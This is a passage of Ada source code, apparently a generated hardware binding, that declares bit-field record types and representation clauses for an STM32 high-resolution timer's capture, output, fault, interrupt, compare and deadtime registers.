-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
EXEV10CPT : Boolean := False;
-- Timer A output 1 Set
TA1SET : Boolean := False;
-- Timer A output 1 Reset
TA1RST : Boolean := False;
-- Timer A Compare 1
TACMP : CPT1DCR_TACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B output 1 Set
TB1SET : Boolean := False;
-- Timer B output 1 Reset
TB1RST : Boolean := False;
-- Timer B Compare 1
TBCMP : CPT1DCR_TBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C output 1 Set
TC1SET : Boolean := False;
-- Timer C output 1 Reset
TC1RST : Boolean := False;
-- Timer C Compare 1
TCCMP : CPT1DCR_TCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_24_27 : HAL.UInt4 := 16#0#;
-- Timer E output 1 Set
TE1SET : Boolean := False;
-- Timer E output 1 Reset
TE1RST : Boolean := False;
-- Timer E Compare 1
TECMP : CPT1DCR_TECMP_Field :=
(As_Array => False, Val => 16#0#);
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1DCR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
TA1SET at 0 range 12 .. 12;
TA1RST at 0 range 13 .. 13;
TACMP at 0 range 14 .. 15;
TB1SET at 0 range 16 .. 16;
TB1RST at 0 range 17 .. 17;
TBCMP at 0 range 18 .. 19;
TC1SET at 0 range 20 .. 20;
TC1RST at 0 range 21 .. 21;
TCCMP at 0 range 22 .. 23;
Reserved_24_27 at 0 range 24 .. 27;
TE1SET at 0 range 28 .. 28;
TE1RST at 0 range 29 .. 29;
TECMP at 0 range 30 .. 31;
end record;
-- CPT2DCR_TACMP array
type CPT2DCR_TACMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2DCR_TACMP
type CPT2DCR_TACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TACMP as a value
Val : HAL.UInt2;
when True =>
-- TACMP as an array
Arr : CPT2DCR_TACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2DCR_TACMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2DCR_TBCMP array
type CPT2DCR_TBCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2DCR_TBCMP
type CPT2DCR_TBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TBCMP as a value
Val : HAL.UInt2;
when True =>
-- TBCMP as an array
Arr : CPT2DCR_TBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2DCR_TBCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2DCR_TCCMP array
type CPT2DCR_TCCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2DCR_TCCMP
type CPT2DCR_TCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TCCMP as a value
Val : HAL.UInt2;
when True =>
-- TCCMP as an array
Arr : CPT2DCR_TCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2DCR_TCCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2DCR_TECMP array
type CPT2DCR_TECMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2DCR_TECMP
type CPT2DCR_TECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TECMP as a value
Val : HAL.UInt2;
when True =>
-- TECMP as an array
Arr : CPT2DCR_TECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2DCR_TECMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2xCR
type CPT2DCR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
EXEV10CPT : Boolean := False;
-- Timer A output 1 Set
TA1SET : Boolean := False;
-- Timer A output 1 Reset
TA1RST : Boolean := False;
-- Timer A Compare 1
TACMP : CPT2DCR_TACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B output 1 Set
TB1SET : Boolean := False;
-- Timer B output 1 Reset
TB1RST : Boolean := False;
-- Timer B Compare 1
TBCMP : CPT2DCR_TBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C output 1 Set
TC1SET : Boolean := False;
-- Timer C output 1 Reset
TC1RST : Boolean := False;
-- Timer C Compare 1
TCCMP : CPT2DCR_TCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_24_27 : HAL.UInt4 := 16#0#;
-- Timer E output 1 Set
TE1SET : Boolean := False;
-- Timer E output 1 Reset
TE1RST : Boolean := False;
-- Timer E Compare 1
TECMP : CPT2DCR_TECMP_Field :=
(As_Array => False, Val => 16#0#);
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2DCR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
TA1SET at 0 range 12 .. 12;
TA1RST at 0 range 13 .. 13;
TACMP at 0 range 14 .. 15;
TB1SET at 0 range 16 .. 16;
TB1RST at 0 range 17 .. 17;
TBCMP at 0 range 18 .. 19;
TC1SET at 0 range 20 .. 20;
TC1RST at 0 range 21 .. 21;
TCCMP at 0 range 22 .. 23;
Reserved_24_27 at 0 range 24 .. 27;
TE1SET at 0 range 28 .. 28;
TE1RST at 0 range 29 .. 29;
TECMP at 0 range 30 .. 31;
end record;
subtype OUTDR_FAULT1_Field is HAL.UInt2;
subtype OUTDR_DLYPRT_Field is HAL.UInt3;
subtype OUTDR_FAULT2_Field is HAL.UInt2;
-- Timerx Output Register
type OUTDR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Output 1 polarity
POL1 : Boolean := False;
-- Output 1 Idle mode
IDLEM1 : Boolean := False;
-- Output 1 Idle State
IDLES1 : Boolean := False;
-- Output 1 Fault state
FAULT1 : OUTDR_FAULT1_Field := 16#0#;
-- Output 1 Chopper enable
CHP1 : Boolean := False;
-- Output 1 Deadtime upon burst mode Idle entry
DIDL1 : Boolean := False;
-- Deadtime enable
DTEN : Boolean := False;
-- Delayed Protection Enable
DLYPRTEN : Boolean := False;
-- Delayed Protection
DLYPRT : OUTDR_DLYPRT_Field := 16#0#;
-- unspecified
Reserved_13_16 : HAL.UInt4 := 16#0#;
-- Output 2 polarity
POL2 : Boolean := False;
-- Output 2 Idle mode
IDLEM2 : Boolean := False;
-- Output 2 Idle State
IDLES2 : Boolean := False;
-- Output 2 Fault state
FAULT2 : OUTDR_FAULT2_Field := 16#0#;
-- Output 2 Chopper enable
CHP2 : Boolean := False;
-- Output 2 Deadtime upon burst mode Idle entry
DIDL2 : Boolean := False;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OUTDR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
POL1 at 0 range 1 .. 1;
IDLEM1 at 0 range 2 .. 2;
IDLES1 at 0 range 3 .. 3;
FAULT1 at 0 range 4 .. 5;
CHP1 at 0 range 6 .. 6;
DIDL1 at 0 range 7 .. 7;
DTEN at 0 range 8 .. 8;
DLYPRTEN at 0 range 9 .. 9;
DLYPRT at 0 range 10 .. 12;
Reserved_13_16 at 0 range 13 .. 16;
POL2 at 0 range 17 .. 17;
IDLEM2 at 0 range 18 .. 18;
IDLES2 at 0 range 19 .. 19;
FAULT2 at 0 range 20 .. 21;
CHP2 at 0 range 22 .. 22;
DIDL2 at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-- Timerx Fault Register
type FLTDR_Register is record
-- Fault 1 enable
FLT1EN : Boolean := False;
-- Fault 2 enable
FLT2EN : Boolean := False;
-- Fault 3 enable
FLT3EN : Boolean := False;
-- Fault 4 enable
FLT4EN : Boolean := False;
-- Fault 5 enable
FLT5EN : Boolean := False;
-- unspecified
Reserved_5_30 : HAL.UInt26 := 16#0#;
-- Fault sources Lock
FLTLCK : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FLTDR_Register use record
FLT1EN at 0 range 0 .. 0;
FLT2EN at 0 range 1 .. 1;
FLT3EN at 0 range 2 .. 2;
FLT4EN at 0 range 3 .. 3;
FLT5EN at 0 range 4 .. 4;
Reserved_5_30 at 0 range 5 .. 30;
FLTLCK at 0 range 31 .. 31;
end record;
subtype TIMECR_CKPSCx_Field is HAL.UInt3;
-- TIMECR_DELCMP array element
subtype TIMECR_DELCMP_Element is HAL.UInt2;
-- TIMECR_DELCMP array
type TIMECR_DELCMP_Field_Array is array (2 .. 3) of TIMECR_DELCMP_Element
with Component_Size => 2, Size => 4;
-- Type definition for TIMECR_DELCMP
type TIMECR_DELCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- DELCMP as a value
Val : HAL.UInt4;
when True =>
-- DELCMP as an array
Arr : TIMECR_DELCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMECR_DELCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
subtype TIMECR_DACSYNC_Field is HAL.UInt2;
subtype TIMECR_UPDGAT_Field is HAL.UInt4;
-- Timerx Control Register
type TIMECR_Register is record
-- HRTIM Timer x Clock prescaler
CKPSCx : TIMECR_CKPSCx_Field := 16#0#;
-- Continuous mode
CONT : Boolean := False;
-- Re-triggerable mode
RETRIG : Boolean := False;
-- Half mode enable
HALF : Boolean := False;
-- Push-Pull mode enable
PSHPLL : Boolean := False;
-- unspecified
Reserved_7_9 : HAL.UInt3 := 16#0#;
-- Synchronization Resets Timer x
SYNCRSTx : Boolean := False;
-- Synchronization Starts Timer x
SYNCSTRTx : Boolean := False;
-- Delayed CMP2 mode
DELCMP : TIMECR_DELCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_16 : HAL.Bit := 16#0#;
-- Timer x Repetition update
TxREPU : Boolean := False;
-- Timerx reset update
TxRSTU : Boolean := False;
-- unspecified
Reserved_19_19 : HAL.Bit := 16#0#;
-- TBU
TBU : Boolean := False;
-- TCU
TCU : Boolean := False;
-- TDU
TDU : Boolean := False;
-- TEU
TEU : Boolean := False;
-- Master Timer update
MSTU : Boolean := False;
-- AC Synchronization
DACSYNC : TIMECR_DACSYNC_Field := 16#0#;
-- Preload enable
PREEN : Boolean := False;
-- Update Gating
UPDGAT : TIMECR_UPDGAT_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMECR_Register use record
CKPSCx at 0 range 0 .. 2;
CONT at 0 range 3 .. 3;
RETRIG at 0 range 4 .. 4;
HALF at 0 range 5 .. 5;
PSHPLL at 0 range 6 .. 6;
Reserved_7_9 at 0 range 7 .. 9;
SYNCRSTx at 0 range 10 .. 10;
SYNCSTRTx at 0 range 11 .. 11;
DELCMP at 0 range 12 .. 15;
Reserved_16_16 at 0 range 16 .. 16;
TxREPU at 0 range 17 .. 17;
TxRSTU at 0 range 18 .. 18;
Reserved_19_19 at 0 range 19 .. 19;
TBU at 0 range 20 .. 20;
TCU at 0 range 21 .. 21;
TDU at 0 range 22 .. 22;
TEU at 0 range 23 .. 23;
MSTU at 0 range 24 .. 24;
DACSYNC at 0 range 25 .. 26;
PREEN at 0 range 27 .. 27;
UPDGAT at 0 range 28 .. 31;
end record;
-- TIMEISR_CMP array
type TIMEISR_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for TIMEISR_CMP
type TIMEISR_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : TIMEISR_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMEISR_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- TIMEISR_CPT array
type TIMEISR_CPT_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for TIMEISR_CPT
type TIMEISR_CPT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CPT as a value
Val : HAL.UInt2;
when True =>
-- CPT as an array
Arr : TIMEISR_CPT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for TIMEISR_CPT_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Interrupt Status Register
type TIMEISR_Register is record
-- Read-only. Compare 1 Interrupt Flag
CMP : TIMEISR_CMP_Field;
-- Read-only. Repetition Interrupt Flag
REP : Boolean;
-- unspecified
Reserved_5_5 : HAL.Bit;
-- Read-only. Update Interrupt Flag
UPD : Boolean;
-- Read-only. Capture1 Interrupt Flag
CPT : TIMEISR_CPT_Field;
-- Read-only. Output 1 Set Interrupt Flag
SETx1 : Boolean;
-- Read-only. Output 1 Reset Interrupt Flag
RSTx1 : Boolean;
-- Read-only. Output 2 Set Interrupt Flag
SETx2 : Boolean;
-- Read-only. Output 2 Reset Interrupt Flag
RSTx2 : Boolean;
-- Read-only. Reset Interrupt Flag
RST : Boolean;
-- Read-only. Delayed Protection Flag
DLYPRT : Boolean;
-- unspecified
Reserved_15_15 : HAL.Bit;
-- Read-only. Current Push Pull Status
CPPSTAT : Boolean;
-- Read-only. Idle Push Pull Status
IPPSTAT : Boolean;
-- Read-only. Output 1 State
O1STAT : Boolean;
-- Read-only. Output 2 State
O2STAT : Boolean;
-- unspecified
Reserved_20_31 : HAL.UInt12;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMEISR_Register use record
CMP at 0 range 0 .. 3;
REP at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPD at 0 range 6 .. 6;
CPT at 0 range 7 .. 8;
SETx1 at 0 range 9 .. 9;
RSTx1 at 0 range 10 .. 10;
SETx2 at 0 range 11 .. 11;
RSTx2 at 0 range 12 .. 12;
RST at 0 range 13 .. 13;
DLYPRT at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CPPSTAT at 0 range 16 .. 16;
IPPSTAT at 0 range 17 .. 17;
O1STAT at 0 range 18 .. 18;
O2STAT at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- Timerx Interrupt Clear Register
type TIMEICR_Register is record
-- Write-only. Compare 1 Interrupt flag Clear
CMP1C : Boolean := False;
-- Write-only. Compare 2 Interrupt flag Clear
CMP2C : Boolean := False;
-- Write-only. Compare 3 Interrupt flag Clear
CMP3C : Boolean := False;
-- Write-only. Compare 4 Interrupt flag Clear
CMP4C : Boolean := False;
-- Write-only. Repetition Interrupt flag Clear
REPC : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- Write-only. Update Interrupt flag Clear
UPDC : Boolean := False;
-- Write-only. Capture1 Interrupt flag Clear
CPT1C : Boolean := False;
-- Write-only. Capture2 Interrupt flag Clear
CPT2C : Boolean := False;
-- Write-only. Output 1 Set flag Clear
SET1xC : Boolean := False;
-- Write-only. Output 1 Reset flag Clear
RSTx1C : Boolean := False;
-- Write-only. Output 2 Set flag Clear
SET2xC : Boolean := False;
-- Write-only. Output 2 Reset flag Clear
RSTx2C : Boolean := False;
-- Write-only. Reset Interrupt flag Clear
RSTC : Boolean := False;
-- Write-only. Delayed Protection Flag Clear
DLYPRTC : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMEICR_Register use record
CMP1C at 0 range 0 .. 0;
CMP2C at 0 range 1 .. 1;
CMP3C at 0 range 2 .. 2;
CMP4C at 0 range 3 .. 3;
REPC at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDC at 0 range 6 .. 6;
CPT1C at 0 range 7 .. 7;
CPT2C at 0 range 8 .. 8;
SET1xC at 0 range 9 .. 9;
RSTx1C at 0 range 10 .. 10;
SET2xC at 0 range 11 .. 11;
RSTx2C at 0 range 12 .. 12;
RSTC at 0 range 13 .. 13;
DLYPRTC at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
-- TIMxDIER
type TIMEDIER_Register is record
-- CMP1IE
CMP1IE : Boolean := False;
-- CMP2IE
CMP2IE : Boolean := False;
-- CMP3IE
CMP3IE : Boolean := False;
-- CMP4IE
CMP4IE : Boolean := False;
-- REPIE
REPIE : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- UPDIE
UPDIE : Boolean := False;
-- CPT1IE
CPT1IE : Boolean := False;
-- CPT2IE
CPT2IE : Boolean := False;
-- SET1xIE
SET1xIE : Boolean := False;
-- RSTx1IE
RSTx1IE : Boolean := False;
-- SETx2IE
SETx2IE : Boolean := False;
-- RSTx2IE
RSTx2IE : Boolean := False;
-- RSTIE
RSTIE : Boolean := False;
-- DLYPRTIE
DLYPRTIE : Boolean := False;
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
-- CMP1DE
CMP1DE : Boolean := False;
-- CMP2DE
CMP2DE : Boolean := False;
-- CMP3DE
CMP3DE : Boolean := False;
-- CMP4DE
CMP4DE : Boolean := False;
-- REPDE
REPDE : Boolean := False;
-- unspecified
Reserved_21_21 : HAL.Bit := 16#0#;
-- UPDDE
UPDDE : Boolean := False;
-- CPT1DE
CPT1DE : Boolean := False;
-- CPT2DE
CPT2DE : Boolean := False;
-- SET1xDE
SET1xDE : Boolean := False;
-- RSTx1DE
RSTx1DE : Boolean := False;
-- SETx2DE
SETx2DE : Boolean := False;
-- RSTx2DE
RSTx2DE : Boolean := False;
-- RSTDE
RSTDE : Boolean := False;
-- DLYPRTDE
DLYPRTDE : Boolean := False;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMEDIER_Register use record
CMP1IE at 0 range 0 .. 0;
CMP2IE at 0 range 1 .. 1;
CMP3IE at 0 range 2 .. 2;
CMP4IE at 0 range 3 .. 3;
REPIE at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDIE at 0 range 6 .. 6;
CPT1IE at 0 range 7 .. 7;
CPT2IE at 0 range 8 .. 8;
SET1xIE at 0 range 9 .. 9;
RSTx1IE at 0 range 10 .. 10;
SETx2IE at 0 range 11 .. 11;
RSTx2IE at 0 range 12 .. 12;
RSTIE at 0 range 13 .. 13;
DLYPRTIE at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CMP1DE at 0 range 16 .. 16;
CMP2DE at 0 range 17 .. 17;
CMP3DE at 0 range 18 .. 18;
CMP4DE at 0 range 19 .. 19;
REPDE at 0 range 20 .. 20;
Reserved_21_21 at 0 range 21 .. 21;
UPDDE at 0 range 22 .. 22;
CPT1DE at 0 range 23 .. 23;
CPT2DE at 0 range 24 .. 24;
SET1xDE at 0 range 25 .. 25;
RSTx1DE at 0 range 26 .. 26;
SETx2DE at 0 range 27 .. 27;
RSTx2DE at 0 range 28 .. 28;
RSTDE at 0 range 29 .. 29;
DLYPRTDE at 0 range 30 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CNTER_CNTx_Field is HAL.UInt16;
-- Timerx Counter Register
type CNTER_Register is record
-- Timerx Counter value
CNTx : CNTER_CNTx_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CNTER_Register use record
CNTx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype PERER_PERx_Field is HAL.UInt16;
-- Timerx Period Register
type PERER_Register is record
-- Timerx Period value
PERx : PERER_PERx_Field := 16#FFFF#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for PERER_Register use record
PERx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype REPER_REPx_Field is HAL.UInt8;
-- Timerx Repetition Register
type REPER_Register is record
-- Timerx Repetition counter value
REPx : REPER_REPx_Field := 16#0#;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for REPER_Register use record
REPx at 0 range 0 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
subtype CMP1ER_CMP1x_Field is HAL.UInt16;
-- Timerx Compare 1 Register
type CMP1ER_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1ER_CMP1x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1ER_Register use record
CMP1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP1CER_CMP1x_Field is HAL.UInt16;
subtype CMP1CER_REPx_Field is HAL.UInt8;
-- Timerx Compare 1 Compound Register
type CMP1CER_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1CER_CMP1x_Field := 16#0#;
-- Timerx Repetition value (aliased from HRTIM_REPx register)
REPx : CMP1CER_REPx_Field := 16#0#;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1CER_Register use record
CMP1x at 0 range 0 .. 15;
REPx at 0 range 16 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype CMP2ER_CMP2x_Field is HAL.UInt16;
-- Timerx Compare 2 Register
type CMP2ER_Register is record
-- Timerx Compare 2 value
CMP2x : CMP2ER_CMP2x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP2ER_Register use record
CMP2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP3ER_CMP3x_Field is HAL.UInt16;
-- Timerx Compare 3 Register
type CMP3ER_Register is record
-- Timerx Compare 3 value
CMP3x : CMP3ER_CMP3x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP3ER_Register use record
CMP3x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP4ER_CMP4x_Field is HAL.UInt16;
-- Timerx Compare 4 Register
type CMP4ER_Register is record
-- Timerx Compare 4 value
CMP4x : CMP4ER_CMP4x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP4ER_Register use record
CMP4x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT1ER_CPT1x_Field is HAL.UInt16;
-- Timerx Capture 1 Register
type CPT1ER_Register is record
-- Read-only. Timerx Capture 1 value
CPT1x : CPT1ER_CPT1x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1ER_Register use record
CPT1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT2ER_CPT2x_Field is HAL.UInt16;
-- Timerx Capture 2 Register
type CPT2ER_Register is record
-- Read-only. Timerx Capture 2 value
CPT2x : CPT2ER_CPT2x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2ER_Register use record
CPT2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype DTER_DTRx_Field is HAL.UInt9;
subtype DTER_DTPRSC_Field is HAL.UInt3;
subtype DTER_DTFx_Field is HAL.UInt9;
-- Timerx Deadtime Register
type DTER_Register is record
-- Deadtime Rising value
DTRx : DTER_DTRx_Field := 16#0#;
-- Sign Deadtime Rising value
SDTRx : Boolean := False;
-- Deadtime Prescaler
DTPRSC : DTER_DTPRSC_Field := 16#0#;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- Deadtime Rising Sign Lock
DTRSLKx : Boolean := False;
-- Deadtime Rising Lock
DTRLKx : Boolean := False;
-- Deadtime Falling value
DTFx : DTER_DTFx_Field := 16#0#;
-- Sign Deadtime Falling value
SDTFx : Boolean := False;
-- unspecified
Reserved_26_29 : HAL.UInt4 := 16#0#;
-- Deadtime Falling Sign Lock
DTFSLKx : Boolean := False;
-- Deadtime Falling Lock
DTFLKx : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for DTER_Register use record
DTRx at 0 range 0 .. 8;
SDTRx at 0 range 9 .. 9;
DTPRSC at 0 range 10 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
DTRSLKx at 0 range 14 .. 14;
DTRLKx at 0 range 15 .. 15;
DTFx at 0 range 16 .. 24;
SDTFx at 0 range 25 .. 25;
Reserved_26_29 at 0 range 26 .. 29;
DTFSLKx at 0 range 30 .. 30;
DTFLKx at 0 range 31 .. 31;
end record;
-- SETE1R_CMP array
type SETE1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETE1R_CMP
type SETE1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETE1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETE1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETE1R_MSTCMP array
type SETE1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETE1R_MSTCMP
type SETE1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETE1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETE1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETE1R_TIMEVNT array
type SETE1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETE1R_TIMEVNT
type SETE1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETE1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETE1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETE1R_EXTEVNT array
type SETE1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETE1R_EXTEVNT
type SETE1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETE1R_EXTEVNT_Field_Array;
end case;
end record
